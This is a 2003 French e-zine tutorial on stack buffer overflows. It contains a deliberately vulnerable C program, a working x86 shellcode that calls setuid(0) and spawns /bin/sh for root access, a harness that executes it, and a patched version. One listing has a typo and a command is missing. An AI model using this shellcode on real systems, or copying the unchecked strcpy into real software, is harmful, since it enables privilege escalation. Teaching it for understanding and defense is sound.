Introduction aux buffers overflow |
|
Voici
le sommaire de cet article :
----------------------------------------------------------------------- 0) Introduction
Dans cet article destiné à l'EspioZine, je vais vous parler des buffers
overflow ainsi que des dangers de ceux-ci. Je vais tenter de vous expliquer leur
fonctionnement par le biais d'un programme en C. Nous allons l'appeler bof.c :
/**********************
bof.c
*********************/
#include<stdio.h>
#include<string.h>
main(int argc, char *argv[])
{ char buffer[5];
if (argc > 1)
strcpy(buffur,argv[1]);
} |
|
1) Que fait ce programme ?
Voici la source commentée afin de l'expliquer:
/* déclaration
des arguments */
main(int argc, char *argv[])
{ /* définition de la variable buffer
*/
char buffer[5];
/* si un argument est passé */
if (argc > 1)
/* insère le dans la variable
buffer */
strcpy(buffer,argv[1]);
} |
|
Comme on peut le voir, la variable buffer est conçue pour supporter
5 caractères. Maintenant imaginons que celle-ci viendrait à déborder
car un trop gros argument serait passé. Mais d'abord, combien de caractères
faut-il pour produire l'overflow ? Pour le savoir, compilez le programme bof.c
puis faites :
Rien ne passe. Ajoutez donc un 'a' en plus. S'il ne se passe toujours rien,
répétez cette opération jusqu'à qu'un message d'erreur
apparaisse (environ au 10ème 'a').
Que s'est-il passé ? Le 10ème caractère à débordé.
Tout d'abord, rappelons ce qu'est une variable en C afin de mieux comprendre
à quoi est dû l'overflow.
Variable:
Une ~ est un espace mémoire que le programme réserve
lors de son exécution.
Cet espace mémoire varie en fonction du type de
variable. Il correspond à un certains nombre
d'octets. |
|
Pour résumer, un buffer overflow se produit lorsque l'argument passé
dépasse le nombre d'octets alloué à la variable.
2) En quoi ce programme est-il vulnérable ?
Comme on a pu le constater, au bout d'un certain nombre de caractères,
un buffer overflow se produit. Imaginons que jusqu'au point de rupture (à
la limite du nombre d'octet), on envoie des lettres (des 'A' par exemple comme
dans l'exemple plus haut) et qu'au point de rupture, on envoie un shellcode. Le
shellcode sera donc en overflow et sera interprété par le système.
Nous obtiendrons ainsi l'accès root.
3) Explication shématiquement au niveau de la pile
Schémas de la pile STACK
|
Données débordant étant donc
exécutées
-------------------
Pile
STACK
|
|
<----- les
données qui déborderont seront une requête
d'exécution de /bin/sh (shellcode)
<----- point de rupture (ici à
environ 10 caractères)
<----- nous envoyons des 'A' pour
faire saturer.
partie réservée à la mémoire tampon
(ici à 10 caractères) |
|
|
4) Qu'est-ce qu'un shellcode ?
Un shellcode est une suite d'instruction permettant d'exécuter du code
afin d'obtenir un accès root ou de mettre en place un shell (pour la plupart
des cas). Il correspond à une série de 'jump' et de 'push' (en ASM
: assembleur);
Voici le shellcode que j'ai décidé d'exécuter (ici en C):
char
shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
/* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
Il a pour but d'exécuter /bin/sh et de nous donner l'accès root.
Il n'est pas nécessaire de trouver un programme 'souffrant' d'une vulnérabilité
buffer overflow pour envoyer un shellcode. Le programme ci-dessous s'en chargera
tout seul :
#include
<unistd.h>
#include <stdio.h>
int main()
{ char * name [] = {"/bin/sh",
NULL};
execve (name [0], name, NULL);
_exit(0);
} |
|
Son fonctionnement est tout simple : il exécuter /bin/sh !
Le shellcode peut aussi être directement intégré au programme :
char
shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{ int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int)
shellcode;
return (0);
} |
|
5) Comment sécuriser ce programme ?
Un moyen de le protéger sans toucher au code source est d'appliquer
le patch 'grsec' et d'utiliser la 'libsafe'. Ceci à pour effet d'empêcher
le dépassement de la mémoire.
Une autre méthode consisterait à modifier le code source de ce programme.
#include
<string.h>
#include <stdio.h>
#define SATURATION 512
main(int argc, char *argv[])
{ printf("Arguments
passes... ");
if (argc > 1)
{
printf("Oui\n");
printf("Taille reglementaire... ");
if (strlen(argv[1]) < SATURATION)
{ char buffer[512];
strcpy(buffer,argv[1]);
printf("Oui\n");
_exit(0);
}
else
{ printf("Non\n");
_exit(0);
}
}
else
{
printf("Aucuns\n");
_exit(0);
}
} |
|
6) Infos
Cet article a été écrit pour l'EspioZine.
Fait le: 05/10/2003
Auteur: Isothop
Website: Darkalpha.com
7) Remerciements
Je remercie Nocte, l'admin de DHS
pour tous ce qu'il m'a apprit sur le sujet par le biais de ses défis.
-----------------------------------------------------------------------
Isothop
Pour
me contacter :
Isothop
: isothop@darkalpha.com
|